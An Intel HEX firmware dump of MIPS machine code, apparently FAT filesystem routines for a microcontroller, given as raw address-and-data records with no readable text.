:10274000f40140001010000012100000211062007f
:102750002400c2af3800c28f1d00438821206000d2
:102760001a00449821108000ffff42241400c38ff8
:10277000241062001400c2af0480838f2400c28f33
:1027800070006214000000003800c28f24004390e3
:102790000300022409006214000000001400c38f2b
:1027a00000a0023c50084224211062000000428c2c
:1027b0001800c2afb84a400b000000003800c28fba
:1027c000240043900200022409006214000000006b
:1027d0001400c38f00a0023c500842242110620064
:1027e000000042941800c2afb84a400b000000003d
:1027f0003800c28f2400439001000224b800621404
:10280000000000001400c38f00a0023c50084224c6
:1028100021106200000042901800c2af1000c29365
:1028200004004010000000001800c28f02110200d6
:102830001800c2af1400c28f010043243800c28fb9
:102840001d004488212880001a0045982110a0000e
:10285000ffff4224241062001400c2af1400c28f94
:1028600020004014000000003c8082930c004010c7
:10287000000000003800c48f212800002130000033
:1028800001000724c64a400f000000000400401069
:10289000000000001c00c28fc04a400b0000000076
:1028a0002400c28f010042242120400000a0023ced
:1028b0005008452401d6400f0000000006004014d7
:1028c00000000000ffff0234048082af1c00c28fb2
:1028d000c04a400b000000002400c28f01004224c7
:1028e000048082af1400c38f00a0023c5008422431
:1028f00021106200000042902800c2af1000c29375
:1029000008004010000000002800c28f00110200e3
:102910001800c38f211062001800c2afb84a400be4
:10292000000000002800c28f0f0042300012020099
:102930001800c38f211062001800c2afb84a400bc4
:10294000000000003c8082930c004010000000005a
:102950003800c48f21280000213000000100072426
:10296000c64a400f000000000400401000000000b4
:102970001c00c28fc04a400b000000002400c48f1e
:1029800000a0023c5008452401d6400f0000000082
:102990000600401400000000ffff0234048082aff4
:1029a0001c00c28fc04a400b000000002400c28ff0
:1029b000048082af3800c28f2400439003000224b9
:1029c00009006214000000001400c38f00a0023c44
:1029d00050084224211062000000428c1800c2af4f
:1029e000b84a400b000000003800c28f240043901a
:1029f0000200022409006214000000001400c38fca
:102a000000a0023c500842242110620000004294c1
:102a10001800c2afb84a400b000000003800c28f57
:102a200024004390010002242d00621400000000e5
:102a30001400c38f00a0023c500842242110620001
:102a4000000042901800c2af1000c2930400401072
:102a5000000000001800c28f021102001800c2af6f
:102a60001400c28f010043243800c28f1d00448827
:102a7000212880001a0045982110a000ffff422461
:102a8000241062001400c2af1400c38f00a0023ce7
:102a90005008422421106200000042902800c2af7a
:102aa0001000c29308004010000000002800c28ff0
:102ab000001102001800c38f211062001800c2af7d
:102ac000b84a400b000000002800c28f0f004230bf
:102ad000001202001800c38f211062001800c2af5c
:102ae0001800c38f2000c28f2b1062000300401417
:102af000000000002000c28f1800c2af1800c28f73
:102b000021e8c0033400bf8f3000be8f3800bd27de
:102b10000800e00300000000d0ffbd272c00bfaf7d
:102b20002800beaf21f0a0033000c4af3400c5af11
:102b30003800c6af2110e0003c00c2a33000c28fb5
:102b400024004390030002240f00621000000000e4
:102b50003000c28f24004390020002240a00621059
:102b6000000000003000c28f2400439001000224c6
:102b70000500621000000000ff0f023cffff42341e
:102b80003b4c400b000000003000c28f24004290fc
:102b90002118400003000224060062140000000017
:102ba000ff0f023cffff42341c00c2aff04a400b53
:102bb00000000000ffff02341c00c2af0000000054
:102bc000468080a33c00c293260040100000000015
:102bd0001000c0a30480828f1800c2af0f4b400bbf
:102be000000000001800c48f00a0023c50084524db
:102bf00021300000b6d8400f00000000040040144f
:102c0000000000001c00c28f3b4c400b0000000085
:102c10001000c293010042241000c2a33000c28ff2
:102c200021004388212060001e004498211080006c
:102c30001800c38f211062001800c2af3000c28f8d
:102c4000220042901000c3932b106200e5ff401455
:102c5000000000003c8080a3211000003b4c400b92
:102c6000000000003000c28f2400429001000324c5
:102c70000a00431000000000030003241500431461
:102c8000000000003400c28f801002001400c2afa8
:102c90001100c0a33a4b400b000000003400c38f6a
:102ca0002110600040100200211043001400c2af48
:102cb0001400c28fff004230010042301100c2a355
:102cc0001400c28f421002001400c2af3a4b400bf6
:102cd000000000003400c28f401002001400c2af98
:102ce0001100c0a3000000003000c28f0b00438819
:102cf000080043983000c28f1d00448821288000be
:102d00001a0045982110a0001400c48f1b008200f7
:102d1000f4014000101000001210000021106200a9
:102d20002000c2af3000c28f1d0043882120600008
:102d30001a00449821108000ffff42241400c38f22
:102d4000241062001400c2af0480838f2000c28f61
:102d500034006210000000003c8082932300401089
:102d6000000000001000c0a30480828f1800c2afd2
:102d7000744b400b000000001800c48f00a0023c00
:102d80005008452421300000b6d8400f0000000054
:102d900004004014000000001c00c28f3b4c400b9c
:102da000000000001000c293010042241000c2a3e2
:102db0003000c28f21004388212860001e00459802
:102dc0002110a0001800c38f211062001800c2afac
:102dd0003000c28f220042901000c3932b1062007b
:102de000e5ff4014000000003c8080a32000c48f59
:102df00000a0023c5008452401d6400f000000000e
:102e00000600401400000000ffff0234048082af7f
:102e10001c00c28f3b4c400b000000002000c28f02
:102e2000048082af3000c28f24004390030002244c
:102e30002a006214000000001400c38f00a0023cae
:102e400050084224211062003800c38fff00633015
:102e5000000043a01400c28f0100432400a0023ce4
:102e600050084224211062003800c38f00ff6330f5
:102e7000021a0300ff006330000043a01400c28f59
:102e80000200432400a0023c5008422421106200aa
:102e90003800c48fff00033c24188300021c030089
:102ea000ff006330000043a01400c28f03004324de
:102eb00000a0023c50084224211062003800c48f58
:102ec000000f033c24188300021e0300ff00633040
:102ed000000043a0384c400b000000003000c28fbf
:102ee0002400439002000224140062140000000039
:102ef0001400c38f00a0023c50084224211062003d
:102f00003800c38fff006330000043a01400c28f5d
:102f10000100432400a0023c50084224211062001a
:102f20003800c38f00ff6330021a0300ff006330d4
:102f3000000043a0384c400b000000003000c28f5e
:102f40002400439001000224650062140000000088
:102f50001400c38f00a0023c5008422421106200dc
:102f6000000042901200c2a31100c2930c00401056
:102f7000000000003800c28fff0042300011020044
:102f8000ff0043301200c2930f004230ff00423076
:102f9000251062001200c2a3ea4b400b00000000a3
:102fa0003800c28f1200c2a31400c38f00a0023cdd
:102fb00050084224211062001200c393000043a075
:102fc0001400c28f010043243000c28f1d004488ca
:102fd000212880001a0045982110a000ffff4224fc
:102fe000241062001400c2af1400c28f1d004014f0
:102ff000000000003000c48f2128000021300000b4
:1030000001000724c64a400f0000000004004010e1
:10301000000000001c00c28f3b4c400b0000000071
:103020002000c28f010042242120400000a0023c69
:103030005008452401d6400f00000000060040144f
:1030400000000000ffff0234048082af1c00c28f2a
:103050003b4c400b000000002000c28f01004224c6
:10306000048082af1400c38f00a0023c50084224a9
:1030700021106200000042901200c2a31100c2930e
:1030800006004010000000003800c28f021102004c
:103090001200c2a3324c400b000000003800c28f67
:1030a00002120200ff0042300f004230ff004330a6
:1030b0001200c493f0ff022424108200ff0042306b
:1030c000251062001200c2a31400c38f00a0023cae
:1030d00050084224211062001200c393000043a054
:1030e000010002243c8082a32110000021e8c003db
:1030f0002c00bf8f2800be8f3000bd270800e003e2
:1031000000000000e8ffbd271400bfaf1000beaff5
:1031100021f0a0031800c4af212000001800c58fc3
:1031200021300000664c400f0000000021e8c00381
:103130001400bf8f1000be8f1800bd270800e003e9
:1031400000000000e0ffbd271c00bfaf1800beafad
:1031500021f0a0032000c4af01000224488082af08
:10316000212000002000c58f21300000664c400f58
:10317000000000001000c2af488080af1000c28f76
:1031800021e8c0031c00bf8f1800be8f2000bd27a0
:103190000800e0030000000088ffbd277400bfaff7
:1031a0007000beaf21f0a003211080007c00c5afed
:1031b0008000c6af7800c2a31400c0a7010002249b
:1031c0002800c2a77c00c28f1800c2af7c00c28f4b
:1031d0001c00c2af2c00c2272000c2af0c80828f1f
:1031e0002000c48f21284000403e400f0000000016
:1031f000388180a34880828f0600401000000000c4
:103200001c00c28f000042941000c2a7884c400be3
:10321000000000001800c28f000042801000c2a70a
:103220001000c29706004014000000001f00022496
:10323000388182a3ffff0224e34e400b0000000010
:103240001000c2972e000324060043100000000067
:103250005c000324f900431000000000e94d400b1e
:10326000000000004880828f09004010000000002c
:103270001c00c28f020042241c00c2af1c00c28f7f
:10328000000042941000c2a7aa4c400b00000000ae
:103290001800c28f010042241800c2af1800c28f6c
:1032a000000042801000c2a71000c3972e00022425
:1032b000aa006214000000004880828f09004010bc
:1032c000000000001c00c28f020042241c00c2af9c
:1032d0001c00c28f000042941000c2a7bf4c400bdc
:1032e000000000001800c28f010042241800c2af85
:1032f0001800c28f000042801000c2a72000c28fb9
:103300003c00438c2881828f06006214000000007c
:103310001f000224388182a3ffff0224e34e400bea
:10332000000000002000c28f3c00438c2000c28fb0
:10333000400043ac010002242800c2a72800c22795
:103340002000c48f2128400001000624e72f400ff1
:10335000000000002400c2af2400c28f0600401409
:10336000000000001b000224388182a3ffff02241a
:10337000e34e400b000000002400c48f0227400fe2
:1033800000000000211840002000c28f3c0043ac28
:103390002000c28f3c00438c2000c28f400043ac11
:1033a0002000c28f3c00428c1f004014000000002f
:1033b0001200c0a71200c297010043241200c3a745
:1033c0002000c38f211062005c000324200043a072
:1033d000fe4c400b000000001200c2972000c38f7b
:1033e0002110620020000324200043a01200c29795
:1033f000010042241200c2a71200c2970b00422c07
:10340000f5ff4014000000002881838f2000c28f48
:10341000400043ac2881838f2000c28f3c0043ac26
:10342000274d400b000000001200c0a71200c297f9
:10343000010043241200c3a72000c38f21106200a3
:103440002e000324200043a01200c2970100432451
:103450001200c3a72000c38f211062002e00032496
:10346000200043a0234d400b000000001200c29733
:103470002000c38f2110620020000324200043a0fd
:103480001200c297010042241200c2a71200c29784
:103490000b00422cf5ff4014000000002800c0a7dc
:1034a0002800c2272000c48f2128400001000624e4
:1034b000e72f400f0000000006004014000000004d
:1034c0001b000224388182a3ffff0224e34e400b3d
:1034d00000000000484d400b000000004880828f33
:1034e00009004010000000001c00c28f02004224ae
:1034f0001c00c2af1c00c28f000042941000c2a783
:10350000484d400b000000001800c28f010042240b
:103510001800c2af1800c28f000042801000c2a77e
:103520001000c3975c000224ecff62100000000052
:103530001000c2973f004014000000000c80828ff2
:10354000212040002000c58f403e400f00000000b9
:1035500021100000e34e400b000000001000c29755
:1035600009004014000000000c80828f21204000e0
:103570002000c58f403e400f0000000021100000d9
:10358000e34e400b000000001000c3975c000224d3
:103590002300621400000000794d400b0000000081
:1035a0004880828f09004010000000001c00c28f7c
:1035b000020042241c00c2af1c00c28f00004294d3
:1035c0001000c2a7794d400b000000001800c28f08
:1035d000010042241800c2af1800c28f00004280d0
:1035e0001000c2a71000c3975c000224ecff621019
:1035f000000000001000c2970e0040140000000000
:103600000c80828f212040002000c58f403e400f5b
:103610000000000021100000e34e400b00000000fd
:103620001f000224388182a3ffff0224e34e400bd7
:1036300000000000e14e400b000000004880828f37
:1036400009004010000000001c00c28f020042244c
:103650001c00c2af1c00c28f000042941000c2a721
:10366000a04d400b000000001800c28f0100422452
:103670001800c2af1800c28f000042801000c2a71d
:103680001000c3975c0002240600621400000000d2
:103690001f000224388182a3ffff0224e34e400b67
:1036a000000000001000c29720004014000000003d
:1036b0000c80828f2881838f3c0043ac0c80828fea
:1036c0002881838f400043ac1200c0a70c80838ff9
:1036d0001200c297010044241200c4a72110620006
:1036e0005c000324200043a0c44d400b00000000f8
:1036f0000c80838f1200c2972110620020000324e7
:10370000200043a01200c297010042241200c2a769
:103710001200c2970b00422cf5ff4014000000007d
:1037200021100000e34e400b000000002881838f31
:103730002000c28f3c0043ac2881838f2000c28fc1
:10374000400043ac1200c0a71200c29701004324fe
:103750001200c3a72000c38f211062005c00032465
:10376000200043a0e34d400b000000001200c29770
:103770002000c38f2110620020000324200043a0fa
:103780001200c297010042241200c2a71200c29781
:103790000b00422cf5ff401400000000e14e400bee
:1037a000000000001200c0a74880828f3700401040
:1037b00000000000000202241400c2a70d4e400bbe
:1037c000000000001200c297010043241200c3a7aa
:1037d000212040001000c297201c027c00a0023c67
:1037e000e815422421108200000043a01200c29775
:1037f000010043241200c3a7212040001000c297fb
:1038000002120200ffff4230201c027c00a0023c9a
:10381000e815422421108200000043a01c00c28f42
:10382000020042241c00c2af1c00c28f0000429460
:103830001000c2a71000c2970a004010000000004c
:103840001000c3975c000224060062100000000014
:103850001200c3971400c2972b106200d9ff4014c6
:10386000000000001200c297010043241200c3a709
:103870002118400000a0023ce815422421106200fb
:10388000000040a0434e400b000000000001022455
:103890001400c2a7374e400b000000001200c29770
:1038a000010043241200c3a7212040001000c2974a
:1038b000201c027c00a0023ce8154224211082005a
:1038c000000043a01800c28f010042241800c2afbc
:1038d0001800c28f000042801000c2a71000c297db
:1038e0000a004010000000001000c3975c00022492
:1038f00006006210000000001200c3971400c29777
:103900002b106200e5ff4014000000001200c29777
:10391000010043241200c3a72118400000a0023c6c
:10392000e815422421106200000040a01200c39755
:103930001400c2972b1043001b0040100000000031
:10394000634e400b000000004880828f0900401049
:10395000000000001c00c28f020042241c00c2af05
:103960001c00c28f000042941000c2a7634e400b9f
:10397000000000001800c28f010042241800c2afee
:103980001800c28f000042801000c2a71000c2972a
:1039900005004010000000001000c3975c000224e6
:1039a000e9ff62140000000000a0023ce815442476
:1039b0002000c58f213000007644400f0000000039
:1039c0000400401400000000ffff0224e34e400bff
:1039d0000000000000a0023ca01344242000c58f7a
:1039e000403e400f0000000000a0023ca013442411
:1039f0002000c58f0100062421380000db1b400f8a
:103a00000000000006004010000000000c0002242e
:103a1000388182a3ffff0224e34e400b0000000028
:103a200000a0023ca01342243a004294100042300d
:103a300006004014000000001f000224388182a309
:103a4000ffff0224e34e400b000000002000c28f65
:103a50003400429414004014000000001200c0a77b
:103a6000a64e400b000000001200c2971200c4973f
:103a700000a0033ca013632421188300200063806e
:103a80002000c48f21108200200043a01200c297a2
:103a9000010042241200c2a71200c2970b00422c60
:103aa000f1ff40140000000000a0023ca0134224db
:103ab0000400438c2000c28f3c0043ac2000c28f26
:103ac0003c00438c2000c28f400043ac1000c297e2
:103ad00009004014000000000c80828f212040006b
:103ae0002000c58f403e400f000000002110000064
:103af000e34e400b00000000dc4e400b00000000d5
:103b00004880828f09004010000000001c00c28f16
:103b1000020042241c00c2af1c00c28f000042946d
:103b20001000c2a7d14e400b000000001800c28f49
:103b3000010042241800c2af1800c28f000042806a
:103b40001000c2a71000c297090040140000000036
:103b50000c80828f212040002000c58f403e400f06
:103b60000000000021100000e34e400b00000000a8
:103b70001000c3975c000224e1ff62100000000007
:103b800000000000904c400b0000000021e8c00342
:103b90007400bf8f7000be8f7800bd270800e0035f
:103ba0000000000070ffbd278c00bfaf8800beafd3
:103bb00021f0a0039000c4af9400c5af9000c28f65
:103bc00005004010000000009400c28fffff42304b
:103bd000f74e400b000000000a0002242400c2a798
:103be00000a0023ca01342242800c2af1400c0a3ce
:103bf0001600c0a71800c0a700a0023ce815422488
:103c00002c00c2af388180a39000c28f0600401400
:103c10000000000000a0023c941342241000c2af38
:103c2000144f400b000000009000c28f1000c2af84
:103c30009400c28f06004014000000001f00022400
:103c4000388182a3211000005852400b0000000070
:103c50002400c297ffff42241000c38f211062008e
:103c60003000c2af0c80828f2800c48f2128400012
:103c7000403e400f000000002800c28f200043801b
:103c80002e00022406006214000000002800c28feb
:103c9000210043802e000224050062100000000075
:103ca0002800c28f340042948801401000000000b8
:103cb0002800c28f3c00428c3400c2af01000224b5
:103cc0003c00c2a72800c28f3c00438c2800c28f52
:103cd000400043ac3c00c2272800c48f212840008c
:103ce00001000624e72f400f000000001c00c2afb7
:103cf0001c00c28f06004014000000001b000224bc
:103d0000388182a3211000005852400b00000000af
:103d10001c00c48f0227400f00000000248182afe6
:103d20002481828f06004014000000002881838fc8
:103d30002800c28f3c0043ac534f400b00000000f2
:103d40002481838f2800c28f3c0043ac2800c28f9f
:103d50003c00438c2800c28f400043ac3c00c0a70d
:103d60003c00c2272800c48f2128400001000624ff
:103d7000e72f400f000000001c00c2af1c00c28fe4
:103d800006004014000000001b000224388182a3ba
:103d9000211000005852400b000000001c00c48f8e
:103da0000227400f00000000248182af844f400ba7
:103db000000000003c00c29701004224ffff423097
:103dc0003c00c2a73c00c2272800c48f2128400025
:103dd00021300000e72f400f000000001c00c2afa0
:103de0001c00c28f06004014000000001b000224cb
:103df000388182a3211000005852400b00000000bf
:103e00001c00c48f0227400f00000000248182aff5
:103e10002481838f3400c28fe6ff6214000000000b
:103e20002481838f3400c28f1000621400000000d0
:103e30001c00c28f00004380e5ff0224ddff6210fa
:103e4000000000001c00c28f0b00439008000224f9
:103e5000d8ff6210000000001c00c28f0b004390ce
:103e60000f000224d3ff6210000000004400c227ac
:103e7000212040002800c58f403e400f0000000078
:103e80003c00c297ffff4224ffff42303e00c2a722
:103e90003e00c2272800c48f2128400021300000a6
:103ea000e72f400f000000002000c2af4650400b3b
:103eb000000000002000c28f010042904000c2a319
:103ec0002000c28f020042904100c2a31600c287a8
:103ed000010043241600c3a7401002002c00c38f2a
:103ee000211062004000c397000043a42000c28f4d
:103ef000030042904000c2a32000c28f0400429001
:103f00004100c2a31600c287010043241600c3a7c4
:103f1000401002002c00c38f211062004000c397a4
:103f2000000043a42000c28f050042904000c2a3bd
:103f30002000c28f060042904100c2a31600c28733
:103f4000010043241600c3a7401002002c00c38fb9
:103f5000211062004000c397000043a42000c28fdc
:103f6000070042904000c2a32000c28f0800429088
:103f70004100c2a31600c287010043241600c3a754
:103f8000401002002c00c38f211062004000c39734
:103f9000000043a42000c28f090042904000c2a349
:103fa0002000c28f0a0042904100c2a31600c287bf
:103fb000010043241600c3a7401002002c00c38f49
:103fc000211062004000c397000043a41600c2877e
:103fd000010043241600c3a7401002002c00c38f29
:103fe000211062002000c38f0e006394000043a4e0
:103ff0001600c287010043241600c3a74010020028
:104000002c00c38f211062002000c38f1000639426
:10401000000043a41600c287010043241600c3a772
:10402000401002002c00c38f211062002000c38fbb
:1040300012006394000043a41600c28701004324c9
:104040001600c3a7401002002c00c38f211062008d
:104050002000c38f14006394000043a41600c2879d
:10406000010043241600c3a7401002002c00c38f98
:10407000211062002000c38f16006394000043a447
:104080001600c287010043241600c3a74010020097
:104090002c00c38f211062002000c38f180063948e
:1040a000000043a41600c287010043241600c3a7e2
:1040b000401002002c00c38f211062002000c38f2b
:1040c0001c006394000043a41600c287010043242f
:1040d0001600c3a7401002002c00c38f21106200fd
:1040e0002000c38f1e006394000043a43e00c297cb
:1040f000ffff4224ffff42303e00c2a73e00c2271e
:104100002800c48f2128400021300000e72f400ff5
:10411000000000002000c2af2000c28f0b004390bf
:104120000f0002240a006214000000002000c28f69
:1041300000004390e500022405006210000000002a
:104140002000c28f000042905aff4014000000007f
:104150004400c2272800c48f21284000403e400f61
:10416000000000001600c28721004014000000007b
:104170001500c0a37250400b000000001500c28360
:104180001500c3831c00c48f2118830000006380c6
:104190002800c48f21108200200043a00c80848f4f
:1041a0001500c2831500c3831c00c58f2118a3000e
:1041b0000000638021108200200043a01500c2830c
:1041c000010042241500c2a31500c2830b0042283f
:1041d000eaff4014000000000c80828f340040a4ed
:1041e0002800c28f340040a4ad50400b00000000f6
:1041f0001600c3972800c28f340043a40c00022489
:104200001500c2a39e50400b000000001600c3879b
:104210001500c2832310620021184000ff7f023c7a
:10422000ffff423421106200401002002c00c38fb7
:1042300021106200000042940c00401400000000b5
:104240001600c3971500c283ffff4230231062009f
:10425000ffff4230ffff4224ffff43302800c28fa0
:10426000340043a4a150400b000000001500c2839d
:10427000ffff42241500c2a31500c283e3ff4104df
:10428000000000000c80828f2800c38f34006394ec
:10429000340043a42800c28f00a0033ce815632427
:1042a000300043ac0c80828f00a0033ce8156324ef
:1042b000300043ac2800c28f3400c38f3c0043acb5
:1042c0002800c28f3400c38f400043ac2800c28f47
:1042d000200043805c0002240500621400000000fe
:1042e0002800c28f340042940f00401000000000ec
:1042f0002800c28f340042940700401000000000e4
:104300002800c28f3000428c000043945c000224dd
:1043100005006210000000009400c38f0200022418
:104320000a006214000000001000c28f5c00032429
:10433000000043a01000c28f01004224000040a0f2
:104340001000c28f5852400b000000001800c0a798
:10435000d951400b000000002800c28f3400429465
:1043600045004010000000002800c28f3400429435
:1043700040100200ffff4230ffff4224ffff4230a7
:104380001600c2a71951400b000000004c80828f1c
:1043900018004010000000001800c28701004324ec
:1043a0001800c3a71000c38f211862001600c2872f
:1043b000ffff44241600c4a72120400000a0023cb7
:1043c000e81542242110820000004280000062a013
:1043d0001800c3872400c297220062140000000066
:1043e0001800c0a7010002241400c2a31951400bf9
:1043f000000000001600c38700a0023ce81542241c
:1044000021106200000042801300401000000000f4
:104410001800c287010043241800c3a71000c38fef
:10442000211062001600c48700a0033ce815632435
:104430002118830000006380000043a01800c38798
:104440002400c29704006214000000001800c0a7f6
:10445000010002241400c2a31600c287ffff4224f9
:104460001600c2a71600c287c8ff41040000000062
:10447000ad51400b000000000a0002241500c2a349
:104480002551400b000000001500c283ffff4224ad
:104490001500c2a31500c2832800c38f211062003b
:1044a0002000438020000224f7ff6210000000007b
:1044b0001500c283080042284a0040140000000092
:1044c0005551400b000000001800c2870100432432
:1044d0001800c3a71000c38f211862001500c28303
:1044e000ffff44241500c4a32800c48f21108200bc
:1044f00020004280000062a01800c3872400c297f9
:1045000004006214000000001800c0a7010002248b
:104510001400c2a34c80828f0e00401000000000e7
:104520001800c287010043241800c3a71000c38fde
:1045300021106200000040a01800c3872400c29729
:1045400004006214000000001800c0a7010002244b
:104550001400c2a31500c28308004228daff4010ed
:10456000000000001800c287010043241800c3a700
:104570001000c38f211062002e000324000043a00e
:104580001800c3872400c2970400621400000000d2
:104590001800c0a7010002241400c2a34c80828f1f
:1045a00010004010000000001800c28701004324e2
:1045b0001800c3a71000c38f21106200000040a0a4
:1045c0001800c3872400c297060062140000000090
:1045d0001800c0a7010002241400c2a37e51400ba2
:1045e000000000007e51400b000000001500c28357
:1045f000ffff42241500c2a31500c2832800c38f09
:10460000211062002000438020000224f7ff621086
:1046100000000000aa51400b000000001800c287f3
:10462000010043241800c3a71000c38f21186200a3
:104630001500c283ffff44241500c4a32800c48fc3
:104640002110820020004280000062a01800c38771
:104650002400c29704006214000000001800c0a7e4
:10466000010002241400c2a34c80828f0e0040106f
:10467000000000001800c287010043241800c3a7ef
:104680001000c38f21106200000040a01800c387f3
:104690002400c29704006214000000001800c0a7a4
:1046a000010002241400c2a31500c283dbff4104f1
:1046b000000000004c80828f0e00401000000000bf
:1046c0001800c287010043241800c3a71000c38f3d
:1046d00021106200000040a01800c3872400c29788
:1046e00004006214000000001800c0a701000224aa
:1046f0001400c2a31800c287010043241800c3a7f6
:104700001000c38f211062005c000324000043a04e
:104710001800c3872400c297040062140000000040
:104720001800c0a7010002241400c2a32800c28ff1
:104730003c00438c2800c28f400043ac2800c48f4b
:104740007352400f000000000600401000000000ff
:1047500008000224388182a3211000005852400b27
:10476000000000002800c28f3c00438c2881828f0b
:10477000f9fe6214000000001800c287ffff422407
:104780001800c2a71600c0a71400c2934d00401025
:10479000000000001800c2973800c2a70152400b69
:1047a000000000001600c2871000c38f21106200b5
:1047b000000042903a00c2a31600c2871000c38fc7
:1047c000211062001800c3871000c48f21188300d5
:1047d00000006380000043a01800c2871000c38f50
:1047e000211062003a00c393000043a01800c28762
:1047f000ffff42241800c2a71600c287010042240e
:104800001600c2a71800c3871600c28723106200d3
:10481000e4ff401c000000003800c2970100422461
:10482000ffff42301600c2a73000c38f1000c28fb6
:10483000231062001800c2a72852400b000000009d
:104840001600c2871000c38f211062000000429042
:104850003a00c2a31600c2871000c38f2110620065
:104860001800c3871000c48f2118830000006380e4
:10487000000043a01800c2871000c38f21106200ff
:104880003a00c393000043a01800c287ffff4224f0
:104890001800c2a71600c287010042241600c2a752
:1048a0001800c3871600c28723106200e4ff401c73
:1048b000000000003000c28f000040a05752400ba3
:1048c000000000001800c2973800c2a74d52400bec
:1048d000000000001600c2871000c38f2110620084
:1048e000000042903a00c2a31600c2871000c38f96
:1048f000211062001800c3871000c48f21188300a4
:1049000000006380000043a01800c2871000c38f1e
:10491000211062003a00c393000043a01800c28730
:10492000ffff42241800c2a71600c28701004224dc
:104930001600c2a71800c3871600c28723106200a2
:10494000e4ff401c000000003800c2970100422430
:104950001000c38f21106200000040a01000c28f21
:1049600021e8c0038c00bf8f8800be8f9000bd2758
:104970000800e00300000000e0ffbd271c00bfafff
:104980001800beaf21f0a0032000c4af2400c5afc3
:10499000010002244c8082af2000c48f2400c58f08
:1049a000e94e400f000000001000c2af4c8080af05
:1049b0001000c28f21e8c0031c00bf8f1800be8ffb
:1049c0002000bd270800e0030000000080ffbd2795
:1049d0007c00bfaf7800beaf21f0a0038000c4af61
:1049e000010002242800c2a700a0023ce8154224ce
:1049f0002000c2af2800c2278000c48f21284000b9
:104a000001000624e72f400f000000001800c2af8d
:104a10001800c28f0400401400000000ff000224b0
:104a20001d54400b000000001800c48f0227400fe7
:104a300000000000248182af2481828f1b0040147b
:104a4000000000008000c28f5c000324200043a00f
:104a50001000c0af9f52400b000000008000c38fc9
:104a60001000c28f2110620020000324200043a008
:104a70001000c28f010042241000c2af1000c28f8c
:104a80000b004228f5ff4014000000002881838fae
:104a90008000c28f3c0043ac2881838f8000c28f8e
:104aa000400043ac1953400b000000002481828f6a
:104ab0002400c2af2481838f8000c28f3c0043acae
:104ac0002481838f8000c28f400043ac2800c2271e
:104ad0008000c48f2128400001000624e72f400fea
:104ae000000000001800c2af1800c28f040040147c
:104af00000000000ff0002241d54400b00000000d5
:104b00001800c48f0227400f00000000248182afec
:104b10002481828f06004014000000002881838fca
:104b20008000c28f3c0043accf52400b000000001d
:104b30002481838f8000c28f3c0043ac8000c28ff1
:104b40003c00438c8000c28f400043ac2800c0a7cb
:104b50002800c2278000c48f2128400001000624bd
:104b6000e72f400f000000001800c2af1800c28fee
:104b70000400401400000000ff0002241d54400bfc
:104b8000000000001800c48f0227400f0000000042
:104b9000248182affc52400b000000002800c22795
:104ba0008000c48f2128400021300000e72f400ff3
:104bb000000000001800c2af1800c28f04004014ab
:104bc00000000000ff0002241d54400b0000000004
:104bd0002800c29701004224ffff42302800c2a7ec
:104be0001800c48f0227400f00000000248182af0c
:104bf0002481838f2400c28fe8ff6214000000002c
:104c00002481838f2400c28f1000621400000000f2
:104c10001800c28f00004380e5ff0224dfff62100e
:104c2000000000001800c28f0b004390080002240f
:104c3000daff6210000000001800c28f0b004390e2
:104c40000f000224d5ff6210000000008000c28f18
:104c50002400c38f3c0043ac8000c28f2400c38f6c
:104c6000400043ac1000c0af2c00c2272120400000
:104c70008000c58f403e400f000000002800c29712
:104c8000feff4224ffff42307000c2a77000c2271f
:104c90008000c48f2128400021300000e72f400f02
:104ca000000000001c00c2afc553400b0000000014
:104cb0001c00c28f010042907400c2a31c00c28f6e
:104cc000020042907500c2a31000c28f010043246d
:104cd0001000c3af401002002000c38f21106200fb
:104ce0007400c397000043a41c00c28f03004290cd
:104cf0007400c2a31c00c28f040042907500c2a3be
:104d00001000c28f010043241000c3af4010020006
:104d10002000c38f211062007400c397000043a4d9
:104d20001c00c28f050042907400c2a31c00c28ff9
:104d3000060042907500c2a31000c28f01004324f8
:104d40001000c3af401002002000c38f211062008a
:104d50007400c397000043a41c00c28f0700429058
:104d60007400c2a31c00c28f080042907500c2a349
:104d70001000c28f010043241000c3af4010020096
:104d80002000c38f211062007400c397000043a469
:104d90001c00c28f090042907400c2a31c00c28f85
:104da0000a0042907500c2a31000c28f0100432484
:104db0001000c3af401002002000c38f211062001a
:104dc0007400c397000043a41000c28f0100432465
:104dd0001000c3af401002002000c38f21106200fa
:104de0001c00c38f0e006394000043a41000c28f08
:104df000010043241000c3af401002002000c38f05
:104e0000211062001c00c38f10006394000043a4b3
:104e10001000c28f010043241000c3af40100200f5
:104e20002000c38f211062001c00c38f1200639406
:104e3000000043a41000c28f010043241000c3af40
:104e4000401002002000c38f211062001c00c38f9d
:104e500014006394000043a41000c28f0100432497
:104e60001000c3af401002002000c38f2110620069
:104e70001c00c38f16006394000043a41000c28f6f
:104e8000010043241000c3af401002002000c38f74
:104e9000211062001c00c38f18006394000043a41b
:104ea0001000c28f010043241000c3af4010020065
:104eb0002000c38f211062001c00c38f1c0063946c
:104ec000000043a41000c28f010043241000c3afb0
:104ed000401002002000c38f211062001c00c38f0d
:104ee0001e006394000043a47000c297ffff422499
:104ef000ffff42307000c2a77000c2278000c48f3d
:104f00002128400021300000e72f400f0000000062
:104f10001c00c2af1c00c28f0b0043900f00022484
:104f20000a006214000000001c00c28f00004390c1
:104f3000e500022405006210000000001c00c28f82
:104f4000000042905aff4014000000002c00c227cd
:104f50008000c48f21284000403e400f0000000028
:104f60001000c28f17004014000000001400c0aff2
:104f7000e953400b000000001800c38f1400c28fdb
:104f800021106200000043808000c48f1400c28f93
:104f900021108200200043a01400c28f010042248f
:104fa0001400c2af1400c28f0b004228f2ff40145d
:104fb000000000008000c28f340040a41c54400b4d
:104fc000000000001000c28fffff43308000c28f3e
:104fd000340043a40c0002241400c2af1554400b4b
:104fe000000000001000c38f1400c28f2310620065
:104ff00021184000ff7f023cffff42342110620075
:10500000401002002000c38f211062000000429473
:105010000d004014000000001000c28fffff43305d
:105020001400c28fffff423023106200ffff4230a6
:10503000ffff4224ffff43308000c28f340043a4af
:105040001854400b000000001400c28fffff4224e0
:105050001400c2af1400c28fe2ff41040000000040
:105060008000c28f00a0033ce8156324300043aced
:105070002110000021e8c0037c00bf8f7800be8fa4
:105080008000bd270800e00300000000e8ffbd2706
:105090001400bfaf1000beaf21f0a0031800c4afd2
:1050a000212000001800c58f213000004854400f17
:1050b0000000000021e8c0031400bf8f1000be8f65
:1050c0001800bd270800e00300000000e0ffbd2736
:1050d0001c00bfaf1800beaf21f0a0032000c4af7a
:1050e00001000224488082af212000002000c58feb
:1050f000213000004854400f000000001000c2aff3
:10510000488080af1000c28f21e8c0031c00bf8f11
:105110001800be8f2000bd270800e003000000003b
:10512000c8fdbd273402bfaf3002beaf21f0a003df
